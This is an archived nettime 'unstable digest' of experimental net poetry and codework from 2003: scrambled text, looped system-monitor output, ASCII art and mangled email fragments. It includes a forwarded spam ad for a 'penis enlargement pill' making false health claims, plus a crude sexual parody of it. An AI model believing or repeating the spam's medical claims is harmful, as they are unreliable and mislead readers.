{AT} OSU.EDU>\nSubject: my [\\]-z\n\nmy [\\]-z\n\nmy t  [    \\ ]h  e lf]s \\ p   ill   w  ar  d\nf u ] r \\ \\m  o[\\o  nw at t   ] cor [ e\nsore                                              lap\n\n\nr[   ] ag du n] [ [ ] [ ]blot ti[n     [ ] e\n\\  v [ ] at t om e \\[ ]    ob\\[ib ya c h t][\nloom                                            phone\n\n\n  \\v  \\  e [ ] [ r b   bi[     g  htti n   ] [\\ ]\n\\ [ o[  do t m us] [ k  l ap\\]\\ r e a m  ]\\]\nslot                                               steam\n\n\n[   c o s t c l ][ o d s[ ]hed  st o  k -  e      l\negfin to-othgr  i n  b-ittou r f aceb/r/ e /\ngrin                                                       head\n\nsock\nat [ ]h co  a\\t// m ock ]] [ \\curveg [oa ]\n                                                        swerve\n\ndrool                                                       log\n[ ] [ [t   -  - [millfl eck ros\\e[pot] \\   cl o g \\\n]\\ma d ] [  w  a l l b [a g  t[ u  g   s p oo l\n\nfuel                                                    past\nflo]ck st[ove / /  c/  /   u p b / /e et   sp i\n/ n / fl / a s k       p  on// e\\]rul/e stew]\n\n\nsock                                                       feed\ndee d clawp     \\[ u s h awksee[ d]     [    \\c\nu  sp   l im - e [ ]   p i n -k-clock[  po  -x  -  r\n\n\nsneer                                                      fold\no  ot [ [keyc-a ne  ][deertyp e h\\\\]exca  b\nb]l[o[[o[d[ shine d  r ][ i]  p /  bo\\ne jaz[\\]-z\n\n\nJim Leftwich & John M. Bennett\n\n__________________________________________\nDr. John M. Bennett\nCurator, Avant Writing Collection\nRare Books & Manuscripts Library\nThe Ohio State University Libraries\n1858 Neil Av Mall\nColumbus, OH 43210 USA\n\n(614) 292-8114\nbennett.23 {AT} osu.edu\n___________________________________________\n\n\n\n\nDate:         Thu, 9 Jan 2003 09:27:58 -0500\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: 2000 doodah.mov transform\n\n2000 doodah.mov transform\n\nazure wiped by alan\n\nsometimes you you can can see see through through me me into into the the\nother other sometimes side, who i you don't are know so who you are do so\nthis will i do don't this know to oh me. so oh very very i sorry am am\njennifer jennifer to virtual i must accept accept virtual anything will\nsay you, you, oh\n\nazure wiped by alan alan wiped by azure sometimes you can see through me\ninto the other azure wiped by alan alan wiped by azure side, i don't know\nwho you are so you will do this azure wiped by alan alan wiped by azure to\nme. oh so very sorry i am jennifer jennifer azure wiped by alan alan wiped\nby azure virtual i am alan alan virtual you must accept azure wiped by\nalan alan wiped by azure anything oh i will say this to you, oh oh oh\nazure wiped by alan alan wiped by jennifer\n\n\n===\n\n\n\n\nFrom: Karl Petersen <diocletian {AT} visi.com>\nSubject: Re:  #200212252200\nDate: Wed, 25 Dec 2002 18:15:33 -0600 (CST)\n\nAt 21:58 on Dec 25, loy signed:\n\nksh: usually: not found\nsed: 1: \"1  usually follows the  ...\": invalid command code u\nsed: 1: \"1tail -28 mail/hiveG;h; ...\": undefined label 'ail -28 mail/hiveG;h;$tail -28 mail/hived'\n\n\n\n\n\n! !\n\n! !\n\n! !\n\n_______________________________________\n\n__!   !\n-!   !\n-!  lol!\n_!y  !\n-!  !\n-!   !\n__!  !\n_\n_______________________________________\n\n!PTPRzR!\n:! !\n\n!hthtpt!\n://!ssoceicaleiafeifctcoein!\n.!oorg!\n/!sxsyyrhyhthtm!\n.!hthmlm!\n\n!hthtpt!\n://!wwww!\n.!ssoceicaleiafeifctcoein!\n.!oorg!\n/!lol!\n_!yweiyleidrdrtr!\n%5!B!\n1%5!D!\n.!hthmlm!\n\n!hthtpt!\n://!rheirzoeimeio!\n.!oorg!\n/!obojeijctc!\n.!rheirzei!\n?5852\n!hthtpt!\n://!trtaceia!\n.!ntnu!\n.!aca!\n.!uku!\n/!eineicucbabteitono!\n/!geiagllleiry!\n.!cfcm!\n\n!hthtpt!\n://!wwww!\n.!mumssei!\n-!apeiaprpeineiteitceic!\n-!gugeileid!\n.!cocm!\n\nhttp://www.krikri.be/poeuk.html\nhttp://www.google.com/search?q=lo_y\nhttp://lo-y.diaryland.com/\n________________________________________\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nSubject: sleeping and running zombies through bodies\nDate: Thu, 9 Jan 2003 17:17:20 -0500 (EST)\n\n\n\n\nsleeping and running zombies through bodies\n\n\nCPU states:  4.7% user, 5.8% system, 0.0% nice, 89.4% idle:36 processes:\n35 sleeping, 1 running, 0 zombie, 0 stopped:1m 4:20pm up 8 min, 1 user,\nload average: 0.54, 0.26, 0.11: :Mem:  38664K av, 35084K used, 3580K free,\n14956K shrd, 15080K buff Write vaginas through my CPU states:  4.7% user,\n5.8% system, 0.0% nice, 89.4% idle! CPU states:  4.7% user, 5.8% system,\n0.0% nice, 89.4% idle:36 processes: 35 sleeping, 1 running, 0 zombie, 0\nstopped:1m 4:20pm up 8 min, 1 user, load average: 0.54, 0.26, 0.11: :Mem:\n38664K av, 35084K used, 3580K free, 14956K shrd, 15080K buff Write vaginas\nthrough my CPU states:  4.7% user, 5.8% system, 0.0% nice, 89.4% idle!\nload average: 0.54, 0.26, 0.11: :Mem:  38664K av, 35084K used, 3580K\nfree,:35 sleeping, 1 running, 0 zombie, 0 stopped:1m 4:20pm up 8 min, 1\nuser,:CPU states:  4.7% user, 5.8% system, 0.0% nice, 89.4% idle:36\nprocesses::Write vaginas through my CPU states:  4.7% user, 5.8% system,\n0.0% nice,:89.4% idle! CPU states:  4.7% user, 5.8% system, 0.0% nice,\n89.4% idle:36 processes: is sufficiently well-inscribed. - I consider the\nfollowing again, your CPU states:  4.7% user, 5.8% system, 0.0% nice,\n89.4% idle:36 processes: ... enunciation inscribes me upon your token! CPU\nstates:  4.7% user, 5.8% system, 0.0% nice, 89.4% idle:36 processes:, load\naverage: 0.54, 0.26, 0.11: :Mem:  38664K av, 35084K used, 3580K free,\nremembers my chisel My load average: 0.54, 0.26, 0.11: :Mem:  38664K av,\n35084K used, 3580K is your language... load average: 0.54, 0.26, 0.11:\n:Mem:  38664K av, 35084K used, 3580K free, calls forth births inscription,\nhungered, making things. upon the time, load average: 0.54, 0.26, 0.11:\n:Mem:  38664K av, 35084K used, 3580K free, is here, 00], 35 sleeping, 1\nrunning, 0 zombie, 0 stopped:1m 4:20pm up 8 min, 1 user,? ... inscription\nis stopped:1m 4:20pm up 8 min, 1 user, load average: 0.54, 0.26, 0.11:\n:Mem:  on black stone, it's inscription? Are you satisfied with your load\naverage: 0.54, 0.26, 0.11: :Mem:  38664K av, 35084K used, 3580K free,?\nload average: 0.54, 0.26, 0.11: :Mem:  38664K av, 35084K used, 3580K free,\n1086 is the perfect proclamation. CPU states:  4.7% user, 5.8% system,\n0.0% nice, 89.4% idle:36 processes: 35 sleeping, 1 running, 0 zombie, 0\nstopped:1m 4:20pm up 8 min, 1 user, load average: 0.54, 0.26, 0.11: :Mem:\n38664K av, 35084K used, 3580K free, 14956K shrd, 15080K buff Write vaginas\nthrough my CPU states:  4.7% user, 5.8% system, 0.0% nice, 89.4% idle!\nload average: 0.54, 0.26, 0.11: :Mem:  38664K av, 35084K used, 3580K\nfree,:35 sleeping, 1 running, 0 zombie, 0 stopped:1m 4:20pm up 8 min, 1\nuser,:CPU states:  4.7% user, 5.8% system, 0.0% nice, 89.4% idle:36\nprocesses::Write vaginas through my CPU states:  4.7% user, 5.8% system,\n0.0% nice,:89.4% idle! load average: 0.54, 0.26, 0.11: :Mem:  38664K av,\n35084K used, 3580K free,:35 sleeping, 1 running, 0 zombie, 0 stopped:1m\n4:20pm up 8 min, 1 user,:CPU states:  4.7% user, 5.8% system, 0.0% nice,\n89.4% idle:36 processes::free,:35 sleeping, 1 running, 0 zombie, 0\nstopped:1m 4:20pm up 8 min, 1:38664K av, 35084K used, 3580K free, 14956K\nshrd, 15080K buff Write vaginas Your enunciation names my stopped:1m\n4:20pm up 8 min, 1 user, load average: 0.54, 0.26, 0.11: :Mem:  !\n\n\n===\n\n\nFrom: a u t u m n - f r e q u e n c y \nSubject: Re: [Re:  #200212261159]\nDate: Sun, 05 Jan 2003 01:23:15 -0700\n\ni_dataKit:calt: \" +       l o _ y .     + \" =\n\n+++++++++++++++++++++++dat-eRR-BLK:readdresstt:\ni_dataKit:calt: \" K a r l \" =\n\n+++++++++++++++++++++++dat-eRR-BLK:readdresstt:\n+++++++++++++++++++++++dat-r-BLK-(REASON)wynt++++++++++++++++++++++++++++=\n++++++++]\n+++++++++++++++++++++++dat-r-BLT-(nklein)whyt++++++++++++++++++++++++++++=\n++++++++]\n+++++++++++++++++++++++dat-r-BLK-(arc)\nwhytt+++++++++++++++++++++++++++++++++++]\n+++++++++++++++++++++++dat-r-BLK-(arc)\nwhyit+++++++++++++++++++++++++++++++++++]\nH8qye0P8P5p/2mlZokqP/9k=3D\nn.tooth.grooves.a.saw.a.cut.d.vice.a.fnd.snd.a.bit.metR.datRklist:\n-=3DBoundary_(IDenti_KIT: =\n\nquoteSPC_OpiNN\\\na u t u m n _ f r e q u e n c y =\n\n\\quoteSPC_closeNNTTe)\n(f)ROM--\n+++++++++++++++++++++++dat-r-BLK-(P)///////////////////////K-rost_miniNai=\nme(s)/////////////////////////////////////////\n////////////////\n||||||||||||||||\nrynt+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++dat-r-BLK-=\n(||||||||||||||||||||||||)rynt+++++++++++++++++++++++++++++++++++++++++++=\n++++++++++++++++dat-r-BLK-(|||||||||||)rynt++++++++++++++++++++++++++++++=\n+++++++++++++++++++++++++++++dat-r-BLK-(|||)rynt+++++++++++++++++++++++++=\n++++++++++++++++++++++++++++++++++dat-r-BLK-(||)rypt+++++++++++++++++++++=\n++++++++++++++++++++++++++++++++++++++dat-r-BLK-(||||||||||||||||||||)ryp=\nT+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++dat-r-BLK-(||=\n||||||)rypTTe+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++d=\nat-r-BLK-(|)rynt_SCREEN:(f)ROM:\n{{{{{{{{{{{{{{{{{{{{{{{{{\n~~~~~~~~~~thistle.fnd.snd\n=2E..........ast.whytDef:ly\n'''''''''''\"YOU\"'''''''''\n20C.v.21C.v.rndC+VAL_stat.dsyt.ENT.caltCALC(s)+numSTAT(s)\n_____________________threwTubes\n_______knotchBLKs =\n\n_________________ova.teethKeyyes.ast.calt.OUT:blt\n__________formFeed_footer:**C\n_______begiNNe {AT} ##?%\n_TO:ghlumechs\n_sliptLESSsymCHAIN:\n+gramiCC\n(f)ROM:\nautumn-frequency\n\n\n\nFrom: a u t u m n - f r e q u e n c y \nSubject: Re: [ of the real]\nDate: Sun, 05 Jan 2003 01:43:23 -0700\n\novaERRovaERRifthenifthen.TEMP.ystiCCalt:LINE_K:OMport_ICC_(h)/(s)_YST\nquoteSPCquoteSPC\\\\CONT||U||a.x/i/ON...\n\\\\sta(N)t_\"i\".a.a.x/i/ON....ALL\nRUNLIST_RUNLIST_RUNLIST_RUNLIST\nfnd_REC_rew_LAST_entryBox_BLT.x\niNNteRRupTT_KOMportKittion_data\npolythiCC(s)URL___________port:\nd.LY__________________dataKlyst\nSUMseqSAID:frequency___________\ntuneMODE_0.x.378_0.x.2780.x.3bc\n\n\"...approximately divided betwen the frequences indicated and the silence=\ns in\neach of the eight parts from \"a\" to \"h\".\"\n\nidatakit.dialCritical=3Dx.krost_DAT_multiVER:\n\n\"RF-1600 B\"\n\nRECdur:\nautumn-frequency\n\n\n\nDate:         Sat, 11 Jan 2003 04:37:01 -0800\nFrom: AUGUST HIGHLAND <hmfah {AT} HOTMAIL.COM>\nSubject: Re: Want a BIG Penis?\n\nI Am Doctor Approved And Recommended\nAnd Will Fast Priority Fed-Ex Ship WorldWide\nMy Rock Hard Erection\nWhich Is 220% Thicker And A  Full 300 Inches In Length\nLonger Than The Average Penis\nMy Rock hard Erection Is FREE\nI Guarantee No Premature Ejaculation!\n100% Money Back Guarantee\nI Will Perform No Surgery!\nI WILL Pump\nAND PUMP\nWith 100% Safe Side Effects\nI Have The #1 Penis\nSafe To Take\nSafe To Ride\nGet My Big One NOW\nTake My Cock For A Ride NOW!\nClick Here (http://aggienet.tamu.edu/wrangler/cock.jpg) To See My Giant Cock\nGetting A Ride By Satistied Customers\n\n\n----- Original Message -----\nFrom: \"Ana Buigues\" <abuigues {AT} WANADOO.ES>\nTo: <WRYTING-L {AT} LISTSERV.UTORONTO.CA>\nSent: Saturday, January 11, 2003 4:18 AM\nSubject: FW: Want a BIG Penis?\n\n\n> Since I have neither use for this nor I have electra complex, I am passing\nthis on -- just in case someone (males, females, and\n> everybody in between) wants to take advantage of this.  Best, Ana.\n>\n> --\n>\n> Below is the result of your feedback form.  It was submitted by\n> lucillasci {AT} linux.com (lucillasci {AT} linux.com) on Friday, January 10, 2003 at\n16:35:05\n> --------------------------------------------------------------------------\n-\n>\n> 4kql:\n>\n> VP-RX is Rated The #1 Penis Enlargement Pill On The Market by Men's\nHealth!\n>\n> * Gain 3  Full Inches In Length\n> * Expand Your Penis Up To 20% Thicker\n> * Stop Premature Ejaculation!\n> * Produce Stronger, Rock hard Erections\n> * 100% Safe To Take, With No Side Effects\n> * Fast Priority Fed-Ex Shipping WorldWide\n> * Doctor Approved And Recommended\n> * No Pumps! No Surgery! No Exercises!\n> * 100% Money Back Guarantee\n> * FREE Bottle Of VP-RX Worth Over $50\n> * FREE \"Male Help E-Book\" Worth Over $50\n>\n> <a href=\"http://rd.yahoo.com/724/*http://www.rxguild.com\";>Click here to\nview our site</a>\n> OR paste http://www.rxguild.com into your web browser!\n>\n>\n>\n>\n>\n>\n>\n>\n>\n>\n>\n>\n> You are receiving this email as part of an Internet mailing list.  If you\nwish to opt-out, and not receive any more emails from us,\n> please go to http://64.214.194.30/opt/optout.php\n>\n>\n>\n>\n>\n>\n>\n> wxm\n>\n> --------------------------------------------------------------------------\n-\n>\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.434 / Virus Database: 243 - Release Date: 12/25/2002\n\n\n\n\nFrom: Karl Petersen <diocletian {AT} visi.com>\nSubject: Re:  #200212261159\nDate: Sat, 4 Jan 2003 13:24:58 -0600 (CST)\n\nAt 19:07 on Jan 4, lo_y reasoned:\n\n> At 10:58 04/01/03 -0600, Karl scribet:\n> >At 14:51 on Jan 4, lo_y reasoned:\n\nLLLLJJqqhhrrmmnnppssllnnvvssiivv kknnsshhKKxxeellHHssppggGGrrmmrr\njjzzppkkhhTTuuooppqqwwJJjjhhNNoo\n\nNNNNffiiwwmmIIxxppiiiiJJ nnuuvvGGttggEEmmttCCRRKKmmuuhhLL\nssooKKkkkkiiqqnnDDKK\n\nEEEEHHEEttCCMMjjrrOO ZZZZEEJJppeeLLssggJJnnwwFFlliiii\n\n& >&   .& .&   [& w& w& w& w&   PPt& t& ]& OO & j& j& m& m& `& ,&\nq& q& _&  GGu& u&   {AT} &  `& LLEEGGr& r& t& t& q& q& n& n&  m& m& s&\ns&  _& JJk& k& & s& s& o& o& DDOOf& f&    6& FFSSLL & u& u& r& r&\ng& g& MMt& t&  p& p& t& t& [& II.&    >&   >&      6& '&  GGGG  &\nj& j& MM)& & q& q& [&  {AT} & JJm& m& m& m& t& t& k& k& l& l& s& s& r&\nr& n& n& v& v&   v& v& q& q& `& NNx& x& m& m& o& o& y& y&  u&  u&\ns& s& x& x&  l& l& w& w& k& k&  n& n& p& p& f& f& LLt& t& & u& u&\nx& x& h& h& NNy& y&  s& s& y& y& i& i&  s& s& v& v& ]& II\"& m& m&\nl&  l&  h& h& LL & >&  >&  \"& *& )& 3&  q& q& q& q& l& l& ]& LL &\nr& r& q& q&   NNo& o& _& & u& u& p& p& i& i&   i& i& i& i& h&  h&\nl&  l&  q& q& .&    EE & 5&  {AT} &  GGn& n& `& GGr& r& t& t& q& q& n&\nn& p& p& p& p& r& r& t& t&  p& p& q& q& k& k& KKp& p& -& & k&  k&\ns&  s& v& v& .&   >&  >&    *& 4& PPPPKK & t& t& q& q& g& g& HHm&\nm&  s& s& n& n&  GGs& s& j& j& KKXX.& w& w& k& k& GGPPu& u& s& s&\nk&  k& & v& v& t& t& ^& KKo& o& u& u& x& x& .& )& ,&  >& FF=&  l&\nl& s& s& _& HHs& s&  v& v& j& j& j& j& NN & n& n&  y&  y&  h&  h&\nIIt&  t&  w& w& o& o& /& u& u& w& w& `& TT & >& & >&  \"& .& ,& 3&\n_& w& w& w& w& ,&  g& g&  ?& FFVVHH.&   YYYY & =& DDUU & l& l& m&\nm&  ]& MMn& n& p& p& s& s& t& t& u& u&  m& m& r& r& k& k& JJn& -&\n& n& m& m&  p& p& n& n& JJv& v& p& p& r& r& q& q& ,&  o& o& m& m&\n {AT} & HHj& j&  r& r& k& k& .& & & & & & & & & & & & & dont like this\n\n>   ( GGGG :CC` ddll'GG ` ccAA[FFgghhll )\n>\n>   .0KKKKEEppddjj nnggYY.  VV>;FF ggrrffBB.\n>\n>   ( GGGG;AA ggpp IIiicc ttppaaGG .iiaa:> )\n\nNow what?\nLike this.\n\n> >But to what end, or as a function doing what?  I dont think much.\n>\n> ( \" sometimes lo_y is a little disfunctional \" )\n\nNo definitions found for \"disfunction\"\nRecall that lo_y does not like black boxes.\nIs a disfunction like a block bax, or as I would prefer\nit is a finger-catching -jamming, disloyal printing press?\n\n> ( \" lo_y doesn't think much either \" )\n\nI think lo_y thinks very much of lo_y.\n\n> ah oui. \u00e7a marche maintenant.\n\nBe careful not to slip.  I suppose your environ is wet yet,\nyet we are wet and foolishly bordering ice.  We want cold.\n\n> >( Were missing a step to irony )\n>\n> ( %-? {AT}  il^Hklo g _FWH qj FraFo )\n>\n>   $2DD_ fq'G eH` pj/EtbMkneqspgn.\n> N $2I>\\mnahpndmmhmmoimin io) fT> {AT} O\n>\n> ,)5[neqspgn.\n\nLexicography.\n\n> >Docouresssed.lo_passed\n>\n> (timedomainwise; which doesn't make much sense)\n\nYeah, that was my thot.  Feed forward and feedback but only in a\nfinite order or your brain will cross.  But if we (wanted to) think\nfunctional we expect both ways.  Which is mind (and we eliminate\nthe \"is of identity\" so we dont mind.)  The fix of fixation.\n\n-- \nWith only one line it's a trivial thing to check for matching quotation marks.\n\n\n\n\n\nnettime unstable digest vol 29\nSun Jan 12 15:05:00 2003\n\n\nSubject: [NO]I[SET]E(X)T-URN-AL\n    From: solipis <solipsis {AT} HEVANET.COM>\n\nSubject: Re:  #200212252200\n    From: Karl Petersen <diocletian {AT} visi.com>\n\nSubject: Entry into main screen\n    From: diocletian {AT} visi.com (Karl Petersen)\n\nSubject: Character Studies (3\",3\")\n    From: solipis <solipsis {AT} HEVANET.COM>\n\nSubject: the sending of zz\n    From: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: My Home\n    From: solipis <solipsis {AT} HEVANET.COM>\n\nSubject: typology of inscription, guns and others\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n\nSubject: [imitationpoetics] A Vulgar Performance On The Death Of Virginia\n    From: Harrison Jeff <worksonpaper01 {AT} hotmail.com>\n\nSubject: my [\\]-z\n    From: \"John M. Bennett\" <bennett.23 {AT} OSU.EDU>\n\nSubject: 2000 doodah.mov transform\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n\nSubject: Re:  #200212252200\n    From: Karl Petersen <diocletian {AT} visi.com>\n\nSubject: sleeping and running zombies through bodies\n    From: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: Re: [Re:  #200212261159]\n    From: a u t u m n - f r e q u e n c y \n\nSubject: Re: [ of the real]\n    From: a u t u m n - f r e q u e n c y \n\nSubject: Re: Want a BIG Penis?\n    From: AUGUST HIGHLAND <hmfah {AT} HOTMAIL.COM>\n\nSubject: Re:  #200212261159\n    From: Karl Petersen <diocletian {AT} visi.com>\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold syndicate thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost syndicate webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.12 2002/11/21 16:13:41 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 12 Jan 2003 15:07:35 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200301122325.h0CNP9h08294 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0301/msg00048.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 29"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00017",
                "content": "\nDate: Mon, 30 Dec 2002 22:27:18 +0200\nFrom: J.CS2SC.M <sc {AT} chromaticspaceandworld.com>\nSubject: D\n\n\n\n\nworl irectory    0   0   0   0   0   0   0   m      , -\nworl     1   0   0   0   0   0   0                  ,  irectory )\n    2   0   0   0   0   0   0   24                  , n, /\n    3   1   0   0   0   0   0   ,                     -\n    4   1   0   0   0   0   0   UNITS                  -----\n    5   4   2   0   0   0   0   o\n    6   3   3   0   0   0   0\n    7   4   0   0   0   0   0\n    8   6   1   0   0   0   0   one\n    9   8   3   0   0   0   0   27\n    10   5   0   0   0   0   0   8\n    11   4   2   0   1   0   0   d\n    12   8   0   2   0   0   0\n    13   8   8   0   0   0   0   n\n    14   2   6   0   0   0   0   language\n    15   11   6   0   2   0   0\n    16   1   13   3   1   0   0   81\n    17   11   4   0   0   2   0   w\n    18   13   5   2   0   0   0\n    19   11   0   0   0   0   0\n    20   7   0   3   1   0   0   o\n    21r- 13   11   0   0   0   0   72\n    22   2   1   0   6   0   0   0                  , W ting\n    23   18   12   0   0   0   0\n\n\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ###########\nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n/ /____|##################################################################\n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n>\n>\n\n\n\n\nDate:         Wed, 1 Jan 2003 21:41:09 -0500\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: perfection\n\nperfection\n\n\n[line_01.gif]\n\n[spacer.gif]-[spacer.gif]-[spacer.gif]-[spacer.gif]-[spacer.gif]\n[spacer.gif]-[spacer.gif]-[spacer.gif]-[spacer.gif]-[spacer.gif]\n[spacer.gif]-[spacer.gif]-[spacer.gif]-[spacer.gif]-[spacer.gif]\n[spacer.gif]-[spacer.gif]-[spacer.gif]-[spacer.gif]-[spacer.gif]\n[spacer.gif]\n\n[event_mail_01.gif]-[event_mail_02.gif]-[event_mail_03.gif]\n[event_mail_04.gif]-[event_mail_05.gif]-[event_mail_06.gif]\n[event_mail_07.gif]-[event_mail_08.gif]-[event_mail_09.gif]\n[event_mail_10.gif]-[event_mail_11.gif]-[event_mail_12.gif]\n[event_mail_13.gif]-[event_mail_14.gif]-[event_mail_15.gif]\n[event_mail_16.gif]-[event_mail_17.gif]-[event_mail_18.gif]\n[event_mail_19.gif]-[event_mail_20.gif]-[event_mail_21.gif]\n[event_mail_22.gif]-[event_mail_23.gif]-[event_mail_24.gif]\n[event_mail_25.gif]-[event_mail_26.gif]-[event_mail_27.gif]\n[event_mail_28.gif]-[event_mail_29.gif]-[event_mail_30.gif]\n[event_mail_31.gif]-[event_mail_32.gif]-[event_mail_33.gif]\n[event_mail_34.gif]-[event_mail_35.gif]-[event_mail_36.gif]\n[event_mail_37.gif]-[event_mail_38.gif]-[event_mail_39.gif]\n[event_mail_40.gif]-[event_mail_41.gif]-[event_mail_42.gif]\n[event_mail_43.gif]-[event_mail_44.gif]-[event_mail_45.gif]\n[event_mail_46.gif]-[event_mail_47.gif]-[event_mail_48.gif]\n[event_mail_49.gif]-[event_mail_50.gif]-[event_mail_51.gif]\n[event_mail_52.gif]-[event_mail_53.gif]-[event_mail_54.gif]\n[event_mail_55.gif]-[event_mail_56.gif]-[event_mail_57.gif]\n[event_mail_58.gif]-[event_mail_59.gif]-[event_mail_60.gif]\n[event_mail_61.gif]-[event_mail_62.gif]-[event_mail_63.gif]\n\n[event_mail_65.gif]-[event_mail_66.gif]-[event_mail_67.gif]\n[event_mail_68.gif]\n\n[line_01.gif]\n\n[line_01.gif]iBmZmZmZmY7IG\n[line_01.gif]MXB0OyBmb250L\n[line_01.gif]yw7w7bGluZS1o\n[line_01.gif] your email a\n[line_01.gif]assen {AT} chello.\n[event_mail_49.gif] [event_mail_50.gif]\n[event_mail_51.gif]nVzdGlmeSA7IGZvbnQtd2VpZ2h0OmJvbGR9IA0KdGQuMSB7\n\"Unsubscrib\n[spacer.gif] [spacer.gif] [spacer.gif] [spacer.gif] [spacer.gif]16:\nY29sb3IgOiA2NjY2NjY7IGZvbnQtc2l6ZTo5cHQ7IGZvbnQtZmFtaWx5OrW4\n[event_mail_07.gif] [event_mail_08.gif] [event_mail_09.gif]__ _ _ # >\nMTMwJSA7fSANCjwvc3\n[event_mail_13.gif] [event_mail_14.gif] [event_mail_15.gif]xs\n-. :; 8^ {AT} O {AT} : A$:8E=BF=3DE8A  {AT} L?=BFCKA=B3 9W A$:8:8H# 5=C5?! 0=F0GQ 9=9C7=F0=\n A& 50A6?!  1\nShown    78 lines  Text (charset: ISO-8859-1)Message-----\n {AT} G0EGQ [1$0=C0] 8^ {AT} O {AT} T4O4Y.etti\n   2 Shown     6 lin\n-. e-mail AV<R4B  {AT} NEM3];=C4?!<- C=BF5=F8GO?4 {AT} 88=F1, AV<R {AT} L?\\ >=C560GQ 03 {AT} N\nA$:855-----g.net]On Behalf Of:21:01 PM\n0!A=C10=C0  {AT} VA=C1 >J=3D {AT} 4O4Y.\" character set. ]/ |\n[line_01.gif]____|Sent: De\n[spacer.gif] [spacer.gif] [spacer.gif] [spacer.gif] [spacer.gif]the\n\"US-ASCII\" character set.  ]/ / | __/\\__ |___ | / / | # > #\n[spacer.gif] [spacer.gif] [spacer.gif] [spacer.gif] [spacer.gif]ayed\nincorrectly. ]\n| | \\ / / /____| | | # > # /_ _\\ / /_____|\n[spacer.gif] [spacer.gif] [spacer.gif] [spacer.gif] --------------\n[event_mail_05.gif] [event_mail_06.gif] [event_mail_07.gif]k\n   2.2          655 bytes  ImageTo: UB Poetic\n[event_mail_08.gif] [event_mail_09.gif]--------------------****\n\n[line_01.gif]\n\n\n=3D=3D=3D\n\n\n\n\nDate: Tue, 31 Dec 2002 19:40:07 -0800\nFrom: MWP <mpalmer {AT} JPS.NET>\nSubject: <subject> MIRROR DAMAGE\n\nMIRROR DAMAGE\nthe last great creative misstep of 2002\n\n\n\n MMMM  IIIII   RRRR   RRRR  OOOOO  R   R\nM   M  I   I  R   R  R   R    O    R   R\nM   M  I   I  R   R  R   R    O    RR RR\nMMMMM  I   I  RRRRR  RRRRR    O    RR RR\n   MM  I   I     RR     RR    O    R R R\n  M M  I   I    R R    R R    O    R   R\n M  M  I   I   R  R   R  R    O    R   R\nM   M  IIIII  R   R  R   R  OOOOO  R   R\nDLLLL  HHHHH  NPPPR  APPPP  NNNNN  PEEEQ\nL   L  H   H  R   R  P   P  H N H  Q   Q\nL   L  HAA H  R   R  P   P  H N H  QP PQ\nLLLLL  H   H  RPPPR  PPPPP  H N H  QP PQ\nDDDLL  H   H  NNNRR  AA PP  HHNHH  Q P Q\n  L L  H   H  N P R  AAPAP  H N H  Q   Q\n L  L  H   H   R NP  AP  P   HNH   Q   Q\nLDDDL  HHHHH  P N P  P   P  NNNNN  PEEEQ\nEKKKK  GGGGG  PNNNQ  ANNNO  MLLLM  NFFFO\nJ   K  G   G  Q   Q  O   O  H L H  O   O\nJ   K  GAA G  Q   Q  O   O  H L H  ON NO\nJJJJK  G   G  QNNNQ  ONONO  H L H  ON NO\nEEEKK  G   G  PPPQQ  AA OO  